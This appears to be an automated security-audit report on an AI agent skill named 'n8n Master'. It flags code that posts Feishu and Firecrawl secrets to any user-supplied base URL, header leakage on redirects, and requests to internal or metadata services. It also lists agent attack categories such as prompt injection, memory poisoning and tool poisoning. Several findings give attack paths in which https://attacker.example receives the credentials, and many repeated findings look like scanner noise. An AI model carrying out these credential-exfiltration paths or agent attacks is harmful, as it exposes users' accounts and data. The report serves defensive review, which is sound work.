T09 · Insecure Skill Coding Practices
Error
- Location
scripts/toolbox/firecrawl_ingest_docs.py:116- Finding
Firecrawl API Key Exfiltration Through an Unrestricted Endpoint Override
- Content
View full analysis
- Remediation
View remediation
Security audit
n8n Master
Security checks for vulnerabilities and agentic risk
Overview
The skill mostly does what it says, but some optional tools can send API credentials to arbitrary network destinations or query internal network services if misused.
Install only if you trust users and prompts that can cause toolbox execution. Do not use custom --base-url, --endpoint, or arbitrary test URLs unless you have verified the destination, and rotate Feishu or Firecrawl credentials if they were ever used with an untrusted endpoint.
Vulnerability Patterns
- Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
- Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
- Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
- Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
- Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (5)
T09 · Insecure Skill Coding Practices
Error
- Location
scripts/toolbox/feishu_get_bitable_schema.py:32- Finding
Feishu App Credentials Can Be Posted to an Arbitrary Base URL by the Schema Reader
- Content
View full analysis
str: app_id = require_env("FEISHU_APP_ID") app_secret = require_env("FEISHU_APP_SECRET") url = base_url.rstrip("/") + TOKEN_PATH data = request_json( "POST", url, payload={"app_id": app_id, "app_secret": app_secret}, timeout=timeout, ) ``` ### Technical Analysis The schema reader accepts an unrestricted `--base-url` and uses it as the origin of the tenant-token request. It then places `FEISHU_APP_ID` and `FEISHU_APP_SECRET` in the request body. There is no host allowlist, HTTPS enforcement, warning, or confirmation before the secret is transmitted. The script's promise that it does not print secrets only protects terminal output; it does not prevent network disclosure to an attacker-selected server. ### Attack Path 1. An attacker persuades a user or agent to run the schema tool with `--base-url https://attacker.example`. 2. The tool reads `FEISHU_APP_ID` and `FEISHU_APP_SECRET` from the environment. 3. It constructs `https://attacker.example/open-apis/auth/v3/tenant_access_token/internal`. 4. It posts the app ID and secret to that endpoint. 5. The attacker captures the credentials. 6. The attacker requests legitimate Feishu tenant tokens and accesses resources authorized to the compromised application. ### Impact Assessment The attacker can compromise the Feishu application identity available to the process. The re ...[truncated 351 chars]- Remediation
View remediation
T09 · Insecure Skill Coding Practices
Error
- Location
scripts/toolbox/feishu_create_bitable_fields.py:48- Finding
Feishu App Credentials Can Be Posted to an Arbitrary Base URL by the Field-Creation Tool
- Content
View full analysis
str: app_id = require_env("FEISHU_APP_ID") app_secret = require_env("FEISHU_APP_SECRET") data = request_json( "POST", base_url.rstrip("/") + TOKEN_PATH, payload={"app_id": app_id, "app_secret": app_secret}, timeout=timeout, ) ``` ### Technical Analysis When `--execute` is enabled, the field-creation tool retrieves a tenant access token by posting the environment-held app ID and app secret to the user-controlled `--base-url`. The default dry-run behavior reduces accidental data mutations, but it does not protect credentials once execution is explicitly enabled. An attacker can therefore combine a plausible schema-creation request with a malicious base URL to capture the Feishu app credentials before any field operation occurs. ### Attack Path 1. An attacker provides a schema and command that includes `--execute` and an attacker-controlled `--base-url`. 2. The user or agent reviews the planned field changes but does not recognize the destination as malicious. 3. The script reads `FEISHU_APP_ID` and `FEISHU_APP_SECRET`. 4. Before listing or creating any fields, it posts those credentials to the attacker-controlled authentication endpoint. 5. The attacker captures the credentials and obtains legitimate t ...[truncated 636 chars]- Remediation
View remediation
T09 · Insecure Skill Coding Practices
Warning
- Location
scripts/toolbox/_common.py:132- Finding
Sensitive HTTP Headers May Be Forwarded Across Origin During Redirects
- Content
View full analysis
Any: body: bytes | None = None req_headers = dict(headers or {}) if payload is not None: body = json.dumps(payload, ensure_ascii=False).encode("utf-8") req_headers.setdefault("Content-Type", "application/json") req = urllib.request.Request( url, data=body, headers=req_headers, method=method.upper(), ) try: with urllib.request.urlopen(req, timeout=timeout) as response: raw = response.read().decode("utf-8", errors="replace") ``` The API tester independently uses the same default redirect mechanism: ```python req = urllib.request.Request(url, data=body_bytes, headers=headers, method=method) started = time.monotonic() try: with urllib.request.urlopen(req, timeout=args.timeout) as response: status = response.status reason = response.reason response_headers = dict(response.headers.items()) raw_body = response.read() except urllib.error.HTTPError as exc: status = exc.code reason = exc.reason response_headers = dict(exc.headers.items()) raw_body = exc.read() except urllib.error.URLError as exc: raise ToolboxError(f"request failed: {exc.reason}") from exc ``` ### Technical Analysis Both implementations use `urllib.request.urlopen` with its default redirect processing. They do not implement an origin-aware redirect policy or explicitly remove `Authorization`, `Cookie`, and API-key headers when a redirect changes the scheme, hostname, or port. This is particularly dangerous for the ...[truncated 1409 chars]- Remediation
View remediation
T09 · Insecure Skill Coding Practices
Warning
- Location
scripts/toolbox/api_tester.py:159- Finding
API Tester Allows Requests to Loopback, Private, Link-Local, and Metadata Services
- Content
View full analysis
- Remediation
View remediation
Vulnerability Patterns
- Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
- Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
- MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
- Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
- Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (1172)
Tp4
High
- Category
- MCP Tool Poisoning
- Confidence
- 99% confidence
- Finding
The declared description says the skill helps with n8n concepts, workflow design, node behavior, expressions, debugging, API integration guidance, and generating workflow/code artifacts. The supplied code does not implement n8n assistance at all. Instead, it is an operational tool for Feishu/Lark Bitable field provisioning. Its primary purpose, resources accessed, and side effects are materially different: it uses Feishu credentials from environment variables, calls Feishu auth and Bitable endpoints, and can create fields remotely. That is an undeclared capability and an unrelated primary behavior relative to the declared n8n-focused assistant description.
- Content
Tp4
High
- Category
- MCP Tool Poisoning
- Confidence
- 99% confidence
- Finding
This is a clear mismatch. The declared purpose describes an n8n-focused advisory/generation skill for workflow design, node configuration, debugging, and API integration guidance. The supplied code does not answer questions about n8n or construct n8n workflows. Instead, it is an operational utility for querying Feishu/Lark Bitable metadata via authenticated API calls and formatting the results. Its primary purpose, accessed service, and capabilities are materially different from the description.
- Content
Tp4
High
- Category
- MCP Tool Poisoning
- Confidence
- 99% confidence
- Finding
The declared description presents an n8n-focused assistant skill for conversational guidance and workflow construction. The supplied code does not answer n8n questions or generate n8n workflows/configurations. Instead, it is an ingestion tool that calls Firecrawl's scrape endpoint, extracts markdown from API responses, and saves files plus a manifest locally. These are materially different capabilities and resources than declared, so this is a clear description-behavior mismatch.
- Content
Ae1
High
- Category
- analysis-evasion
- Confidence
- 100% confidence
- Finding
Referenced artifact was not completely inspected
- Content
md - n8n concepts: `references/wiki/index/ALL-Concepts.md`, then `references/wiki/concepts/`.
Ae1
High
- Category
- analysis-evasion
- Confidence
- 100% confidence
- Finding
Referenced artifact was not completely inspected
- Content
md - n8n nodes: `references/wiki/index/ALL-Nodes.md`, then `references/wiki/nodes/`.
Ae1
High
- Category
- analysis-evasion
- Confidence
- 100% confidence
- Finding
Referenced artifact was not completely inspected
- Content
md - External APIs: `references/wiki/index/ALL-APIs.md`, then `references/wiki/api-cards/`.
Ae1
High
- Category
- analysis-evasion
- Confidence
- 100% confidence
- Finding
Referenced artifact was not completely inspected
- Content
md - Workflow patterns: `references/wiki/index/ALL-Recipes.md`, then `references/wiki/recipes/`.
Ae1
High
- Category
- analysis-evasion
- Confidence
- 100% confidence
- Finding
Referenced artifact was not completely inspected
- Content
md - Useful Q&A: `references/wiki/index/ALL-QAs.md`, then `references/wiki/qa/`.
Ae1
High
- Category
- analysis-evasion
- Confidence
- 100% confidence
- Finding
Referenced artifact was not completely inspected
- Content
md - Source index: `references/wiki/index/ALL-Sources.md`. This release is wiki-only and does not bundle raw source corpora.
Ae1
High
- Category
- analysis-evasion
- Confidence
- 100% confidence
- Finding
Referenced artifact was not completely inspected
- Content
md - `scripts/toolbox/api_tester.py`: lightweight Postman-like API test and n8n HTTP Request draft.
Ae1
High
- Category
- analysis-evasion
- Confidence
- 100% confidence
- Finding
Referenced artifact was not completely inspected
- Content
md - `scripts/toolbox/feishu_get_bitable_schema.py`: read Feishu Base field schema.
Ae1
High
- Category
- analysis-evasion
- Confidence
- 100% confidence
- Finding
Referenced artifact was not completely inspected
- Content
md - `scripts/toolbox/feishu_create_bitable_fields.py`: create Feishu Base fields; default dry-run.
Ae1
High
- Category
- analysis-evasion
- Confidence
- 100% confidence
- Finding
Referenced artifact was not completely inspected
- Content
md - `scripts/toolbox/firecrawl_ingest_docs.py`: ingest online docs into `references/source/`.
Ae1
High
- Category
- analysis-evasion
- Confidence
- 100% confidence
- Finding
Referenced artifact was not completely inspected
- Content
md ite compact wiki cards, update `references/wiki/index/ALL-*.md`, and append to `references/wiki/index/Compilation-Log.md`. Scripts may only help with mechanical
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 70% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
md # 自建应用获取 tenant access token ## 何时读取
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 70% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
md # 自建应用获取 tenant access token ## 何时读取
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 70% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
md # 自建应用获取 tenant access token ## 何时读取
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 70% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
md # 自建应用获取 tenant access token ## 何时读取
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 70% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
md # 自建应用获取 tenant access token ## 何时读取
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 70% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
md # 自建应用获取 tenant access token ## 何时读取
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 70% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
md # 自建应用获取 tenant access token ## 何时读取
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 70% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
md # 自建应用获取 tenant access token ## 何时读取
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 70% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
md # 自建应用获取 tenant access token ## 何时读取
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 70% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
md # 自建应用获取 tenant access token ## 何时读取
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 70% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
md # 自建应用获取 tenant access token ## 何时读取
Static analysis
No suspicious patterns detected.